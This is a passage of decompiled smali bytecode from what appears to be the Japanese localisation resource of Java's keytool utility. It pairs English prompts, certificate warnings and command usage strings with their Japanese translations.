                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "\u65b0\u898f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u518d\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "\u4e00\u81f4\u3057\u307e\u305b\u3093\u3002\u3082\u3046\u4e00\u5ea6\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044"
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "{0} \u306e\u5225\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "\u65b0\u3057\u3044\u5225\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\t(\u3053\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u3092\u53d6\u308a\u6d88\u3059\u5834\u5408\u306f RETURN \u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "\u5225\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(<{0}> \u3068\u540c\u3058\u5834\u5408\u306f RETURN \u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "\u6240\u6709\u8005: {0}\n\u767a\u884c\u8005: {1}\n\u30b7\u30ea\u30a2\u30eb\u756a\u53f7: {2}\n\u6709\u52b9\u671f\u9593\u306e\u958b\u59cb\u65e5: {3} \u7d42\u4e86\u65e5: {4}\n\u8a3c\u660e\u66f8\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8:\n\t MD5: {5}\n\t SHA1: {6}\n\t \u7f72\u540d\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u540d: {7}\n\t \u30d0\u30fc\u30b8\u30e7\u30f3: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "\u59d3\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "\u7d44\u7e54\u5358\u4f4d\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "\u7d44\u7e54\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "\u90fd\u5e02\u540d\u307e\u305f\u306f\u5730\u57df\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "\u5dde\u540d\u307e\u305f\u306f\u5730\u65b9\u540d\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "\u3053\u306e\u5358\u4f4d\u306b\u8a72\u5f53\u3059\u308b 2 \u6587\u5b57\u306e\u56fd\u756a\u53f7\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "{0} \u3067\u3088\u308d\u3057\u3044\u3067\u3059\u304b?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "no"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "yes"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "\u5225\u540d <{0}> \u306b\u306f\u9375\u304c\u3042\u308a\u307e\u305b\u3093"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "\u5225\u540d <{0}> \u304c\u53c2\u7167\u3057\u3066\u3044\u308b\u30a8\u30f3\u30c8\u30ea\u30bf\u30a4\u30d7\u306f\u975e\u516c\u958b\u9375\u30a8\u30f3\u30c8\u30ea\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002-keyclone \u30b3\u30de\u30f3\u30c9\u306f\u975e\u516c\u958b\u9375\u30a8\u30f3\u30c8\u30ea\u306e\u8907\u88fd\u306e\u307f\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u307e\u3059"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** \u8b66\u544a \u8b66\u544a \u8b66\u544a *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* \u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u4fdd\u5b58\u3055\u308c\u305f\u60c5\u5831\u306e\u5b8c\u5168\u6027\u306f\u691c\u8a3c\u3055\u308c\u3066 *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u4fdd\u5b58\u3055\u308c\u305f\u60c5\u5831\u306e\u5b8c\u5168\u6027*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* \u3044\u307e\u305b\u3093! \u5b8c\u5168\u6027\u3092\u691c\u8a3c\u3059\u308b\u306b\u306f\u3001\u30ad\u30fc\u30b9\u30c8\u30a2\u306e *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* \u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002 *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* \u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002 *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "\u8a3c\u660e\u66f8\u5fdc\u7b54\u306b\u306f\u3001<{0}> \u306e\u516c\u958b\u9375\u306f\u542b\u307e\u308c\u307e\u305b\u3093\u3002"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "\u5fdc\u7b54\u3057\u305f\u8a3c\u660e\u9023\u9396\u306f\u4e0d\u5b8c\u5168\u3067\u3059\u3002"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "\u5fdc\u7b54\u3057\u305f\u8a3c\u660e\u9023\u9396\u306f\u691c\u8a3c\u3055\u308c\u3066\u3044\u307e\u305b\u3093: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "\u5fdc\u7b54\u3057\u305f\u30c8\u30c3\u30d7\u30ec\u30d9\u30eb\u306e\u8a3c\u660e\u66f8:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... \u306f\u4fe1\u983c\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002 "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "\u5fdc\u7b54\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u304b? [no]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NO"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "\u5fdc\u7b54\u3057\u305f\u516c\u958b\u9375\u3068\u30ad\u30fc\u30b9\u30c8\u30a2\u304c\u4e00\u81f4\u3057\u307e\u305b\u3093\u3002"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "\u8a3c\u660e\u66f8\u5fdc\u7b54\u3068\u30ad\u30fc\u30b9\u30c8\u30a2\u5185\u306e\u8a3c\u660e\u66f8\u304c\u540c\u3058\u3067\u3059\u3002"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "\u5fdc\u7b54\u304b\u3089\u9023\u9396\u3092\u78ba\u7acb\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "\u5fdc\u7b54\u304c\u9593\u9055\u3063\u3066\u3044\u307e\u3059\u3002\u3082\u3046\u4e00\u5ea6\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "\u79d8\u5bc6\u9375\u306f\u751f\u6210\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u3066\u3044\u307e\u3059"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "\u79d8\u5bc6\u9375\u306e\u751f\u6210\u6642\u306b\u306f -keysize \u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "keytool \u306e\u4f7f\u3044\u65b9:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "\u62e1\u5f35: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
